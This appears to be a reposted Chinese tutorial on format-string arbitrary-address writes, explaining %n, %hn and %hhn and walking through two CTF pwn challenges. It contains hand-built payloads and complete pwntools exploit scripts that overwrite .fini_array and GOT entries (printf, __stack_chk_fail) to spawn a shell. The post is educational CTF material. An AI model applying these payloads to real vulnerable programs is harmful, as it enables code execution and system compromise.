格式化字符串任意地址写操作学习小计

栏目: C · 发布时间: 5年前

内容简介:大家对格式化字符串读操作一定不陌生,但是对写操作的概念或者具体步骤会比较模糊。这里主要总结一下格式化字符串写操作,会以两道例题来进行讲解。%c 在 printf 的使用中,表示的是输出类型为字符型,例如:%200c 表示总共输出 200 个字符,如果不足 200 个则在前面补上空字符。

格式化字符串任意地址写操作学习小计

前言

大家对格式化字符串读操作一定不陌生,但是对写操作的概念或者具体步骤会比较模糊。这里主要总结一下格式化字符串写操作,会以两道例题来进行讲解。

格式化字符串写操作的原理

%c、%x 的用法

%c 在 printf 的使用中,表示的是输出类型为字符型,例如:%200c 表示总共输出 200 个字符,如果不足 200 个则在前面补上空字符。

再例如下面的代码:

#include <stdio.h>

#include <stdlib.h>





int main(){

        int i = 0x6667;



        printf("%200c",((char *)&i)[1]);



        return 0;

}

输出结果:

格式化字符串任意地址写操作学习小计

所以根据上面的结果就很容易知道他的用法,这里的 %c 经常会配合 %n 来进行使用。

  • 如果这里将 printf 的控制字符改成 %x 的话,结果也是大同小异,只是输出的类型变为字符的十六进制数,输出字符相应的数量会多 1 个。

格式化字符串任意地址写操作学习小计

%n 的用法

特殊的格式化控制符%n,和其他控制输出格式和内容的格式化字符不同的是,这个格式化字符会将已输出的字符数写入到对应参数的内存中。

%n          一次性写入 4 个字节

%hn         一次性写入 2 个字节

%hhn        一次性写入 1 个字节

%n 一般会配合 %c 进行使用,%c 负责输出字符,%n 负责统计输出的字符串的数量并转化为 16 进制格式写入到偏移的内存地址里。

所以之后写内存的任务其实就是计数的任务了,在后面的例子中也会详细讲解到。

这个控制字符的详细用法在 这篇文章 中讲的很清楚了,这里就不赘述了。

使用 pwntools 模块生成 payload

直接利用 pwntools 的 fmtstr_payload 函数即可生成相应的 payload,具体用法可以查看 官方文档

例如举一个最简单的用法,假如我们知道这里 fmt 的偏移是 4,我们要将 0x80405244 地址的值覆盖为 0x12344321,就可以这样调用:

fmtstr_payload(4,{0x80405244:0x12344321})

格式化字符串任意地址写操作学习小计

  • 第三个参数(write_size)代表一次写入内存的字节数,三种 payload 都是一样的效果,具体选择哪个后面会说到。

例题

这个例题是国赛某赛区线下半决赛的一道 pwn 题目。解题思路是覆盖某个函数的 got 表进行 getshell。

程序代码

主要逻辑只有一个 main 函数,允许输入 64 个字符的字符串(其实这是一个提示最后的 payload 是 64 个字节长度),接着在下面有一处很明显的格式化字符串漏洞,那么这里我们就可以输入 %x、%p 进行内存泄露。

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char format; // [esp+0h] [ebp-48h]



  setvbuf(stdin, 0, 2, 0);

  setvbuf(stdout, 0, 2, 0);

  puts("Welcome to my ctf! What's your name?");

  __isoc99_scanf("%64s", &format);

  printf("Hello ");

  printf(&format);

  return 0;

}

同时在程序中还有一个 system 函数,这里的 command 是一个 0x00 的 4 字节位于 .data 段的值。

格式化字符串任意地址写操作学习小计

确定偏移

按照正常套路来先确定一波偏移。

aaaa%x,%x,%x,%x

aaaa%4$x

很容易知道这里的偏移是 4。

格式化字符串任意地址写操作学习小计

解题思路

来缕清一下思路,我们只有一次格式化字符串的机会,要么是进行格式化字符串的读操作,要么是进行格式化字符串的写操作,所以这里就没办法在读内存之后进行任意地址写了。

那么有没有办法同时读或者写呢?或者让程序多循环几次呢?答案是有的。

具体的做法可以参考某位大佬的文章: https://bbs.ichunqiu.com/thread-43624-1-1.html

引用文章中的一张图:

格式化字符串任意地址写操作学习小计

按照文章中的 “使用格式化字符串漏洞使程序无限循环“ 的操作,大概的操作是:

在将 start 函数或者 main 函数的地址覆写 .fini.array 段中的函数指针,导致程序在进行程序执行结束的收尾操作时,重新执行一次 main 函数,这样我们就可以重新返回 main 函数。

在覆写 .fini.array 段的函数指针的同时,将 printf 函数的 got 表覆盖为 system 函数的地址即可。

在 IDA 中查看 .fini.array 中区段的函数,可见就只有一个函数指针:__do_global_dtors_aux_fini_array_entry,所以我们的目的就是把 main 的地址写到这个地址即可。

格式化字符串任意地址写操作学习小计

回到 main 函数后,输入 /bin/shx00 就相当于调用 system(“/bin/sh”) 函数。

格式化字符串任意地址写操作学习小计

payload 的构造

这题的难点就在于 fmt payload 的构造,其实说难也不难,如果掌握了 %n、%hn、%hhn 等格式化串的用法,构造起来就会比较轻车熟路。这里需要覆盖两处地方,所以这里一定要了解原理才行。

  1. 首先将 __do_global_dtors_aux_fini_array_entry 函数指针覆盖为 main 函数地址

main 函数地址为 0x08048534, __do_global_dtors_aux_fini_array_entry 的地址为 0x804979C,这一步可以直接使用 fmtstr_payload。

>>> fini_func = 0x0804979C

>>> main_addr = 0x08048534

>>> fmtstr_payload(4,{fini_func:main_addr},write_size=’short’)

‘x9cx97x04x08x9ex97x04x08%34092c%4$hn%33488c%5$hn’

>>>

  • 这里使用 $hn 原因是:使用 %hhn 最后生成的 payload 太长(超过 64 字节);使用 %n 的传输效果不好。
  1. 得到上面的 payload 之后,在里面继续添加将 printf_got 覆盖为 system_plt 的操作即可。即:将 0x0804989C 的地址指针覆盖为 0x080483D0
  • 这里使用 hn ,所以要写入 4 个字节的数据的话就要写两次。

(1). 添加地址

x9cx97x04x08x9ex97x04x08

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08

(2). 计算输出字符个数(%c)

需要写入 0x83d0,但是前面输出的字符串个数已经大于 0x83d0,而且数量只能往上加,所以这里只能使用截断的方法:从 0x83d0 加到 0x183d0 即可,最后写入时只会写 2 个字节,也就是 0x83d0,这样就达到了目的。

>>> hex(34088+33488+12)

‘0x10804’

所以这里进行减法就行,这里就得到了 31692。

>>> 0x183d0-34088-33488-12

31692

>>> hex(33488+31692+34088+12)

‘0x183d0’

所以构造好 0x0804989C 后的两个内存地址字节的值:

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08%34088c%4$hn%33488c%5$hn%31692c%6$hn

同理继续添加地址:

=>

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08

计算输出字符个数:

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算步骤:前面的格式化字符数量不变,使用截断法构造。这里向 0x0804989E 后的两个内存地址字节写入的值为 0x0804。但是原来输出数量为 0x183d0,继续往上加到 0x20804。截断后得到 0x0804。

>>> 0x20804-(33488+31692+34088+12)

33844

>>> hex(33844+33488+31692+34088+12)

‘0x20804’

因为最后的 payload 为:

x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn

计算一下最后 len(payload) = 64,这也就是出题人设计 scanf 输入个数为 64 的原因。

from pwn import *



r = process("./pwn")

elf = ELF("./pwn")

print_got = elf.got['printf']





r.recvuntil("Welcome to my ctf! What's your name?")





fini_func = 0x0804979C

system_plt = 0x080483D0

main_addr = 0x08048534



#payload1 = fmtstr_payload(4,{fini_func:main_addr},word_size='short')

#payload2 = fmtstr_payload(4,{print_got:system_plt},word_size='short')



payload = "x9cx97x04x08x9ex97x04x08x9cx98x04x08x9ex98x04x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"





r.send(payload)



r.recv()

r.sendline('/bin/shx00')

这道题是 2019 hgame 的一道 pwn 题。payload 的构造比较巧妙,通过覆盖 ___stack_chk_fail 函数的 got 表指针为后门函数地址来达到目的。

题目的逻辑很简单。

main 函数:

int __cdecl main(int argc, const char **argv, const char **envp)

{

  char format; // [rsp+0h] [rbp-60h]

  unsigned __int64 v5; // [rsp+58h] [rbp-8h]



  v5 = __readfsqword(0x28u);                    // canary

  init();

  read_n(&format, 0x58u);

  printf(&format);                              // printf(&format)

  return 0;

}

read_n 函数:

__int64 __fastcall read_n(__int64 str, unsigned int len)

{

  __int64 result; // rax

  signed int i; // [rsp+1Ch] [rbp-4h]



  for ( i = 0; ; ++i )

  {

    result = i;

    if ( i > len )

      break;

    if ( read(0, (i + str), 1uLL) < 0 )

      exit(-1);

    if ( *(i + str) == 'n' )

    {

      result = i + str;

      *result = 0;

      return result;

    }

  }

  return result;

}

backdoor 函数:

int backdoor()

{

  return system("/bin/sh");

}

漏洞分析

首先,checksec 发现存在 canary。

格式化字符串任意地址写操作学习小计

在 main 函数中,存在一处栈溢出(刚好可以覆盖到 canary)和格式化字符串漏洞。但是程序只一次格式化字符串利用的机会,而且还存在 canary,并且在 printf 函数调用完成后也没有调用其他的库函数。

这里也没办法通过循环回 main 函数进行二次利用。

这里存在后门函数,所以很明显是将这个后门函数地址往某个地方写入,那往哪里写呢?这里可以直接往 ___stack_chk_fail 函数的 got 表里写,再构造 payload 完 send 出去之后通过溢出触发 ___stack_chk_fail 函数,即最终调用了 system 函数。

构造方法

首先确定偏移为 6。

nick@nick-machine:~/pwn/fmt$ ./babyfmtt

It’s easy to PWN

aaaa%6$x

aaaa6161616

再计算输入 payload 到 canary 的距离:0x60-0x8 = 0x58 = 88

char format; // [rsp+0h] [rbp-60h]

unsigned __int64 v5; // [rsp+58h] [rbp-8h]

接着先使用 fmtstr_payload 生成一个 payload ,发现长度是 58,所以我们需要手动在前面加上一写字符直到加到 88。

格式化字符串任意地址写操作学习小计

根据上面的方法先手动加上 30 个 ‘a’,再加上地址

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00

接着再计算输出字符的个数,比如将第一个 0x4e = 78 写入,写入的字符数:78-16-30 = 32,偏移是 6,此时 payload 即:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00%32c%6$hhn

接着将后面的格式化串照搬补上即可(不需要更改)。payload 如下:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaax20x10x60x00x21x10x60x00x22x10x60x00x23x10x60x00%32c%6$hhn%186c%7$hhn%56c%8$hhn%192c%9$hhn

但是!写好 payload 之后尝试 send 的出去之后,发现并没有 getshell,动态调试的时候也发现没有写入到 printf 的 got 表中,为什么呢?

格式化字符串任意地址写操作学习小计

在 debug 模式下发现这里只输出到 0x602010 ,原因是前面的 0x00 被截断了!解决方法也可以参考那篇文章(”64位下的格式化字符串漏洞利用”)里的:将 0x00 放在后面,还需对 payload 进行调整,使地址前面的数据恰好为地址长度的倍数

格式化字符串任意地址写操作学习小计

在调用到 printf 函数时下个断点,看到这个是赋值了三个参数,0x00 被放到了相对于栈偏移位置为 2 的地方,这也就是下面的 payload 的偏移为 8 (6+2)的原因。

payload = “%2126c%8$hnaaaaa”+p64(0x601020)+p64(0xdeadbeef)*12

或者

payload = “%2126c%9$hn%63474c%10$hn”+p64(0x601020)+p64(0x601022)+p64(1)*15

  • 2126 转化为十六进制为 0x84e,也就是 backdoor 函数的后 12 bit,只需要覆盖这么多即可,$hn 后面的五个 a 是为了对齐 8 字节内存空间用的。总之这里的偏移需要自己在 gdb 中进行调试才可以确定下面。

最后的 exp:

from pwn import *



r = process("./babyfmtt")

r.recvuntil("It's easy to PWN")



stack_chk = 0x601020

backdoor = 0x40084E



payload = "%2126c%8$hnaaaaa"+p64(0x601020)+p64(0xdeadbeef)*12



#payload = fmtstr_payload(6,{stack_chk:backdoor}).ljust(89,'a')



log.info(payload)

log.info("length of payload: " + str(len(payload)))



r.sendline(payload)

r.interactive()

总结

总的来说,还是需要熟练掌握 %n 的用法才能利用好格式化字符串漏洞。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Charlotte's Web

Charlotte's Web

E. B. White / Scholastic / 2004 / USD 0.01

This is the tale of how a little girl named Ferm, with the help of a friendly spider, saved her pig, Wilbur, from the usual fate of nice fat little pigs.一起来看看 《Charlotte's Web》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具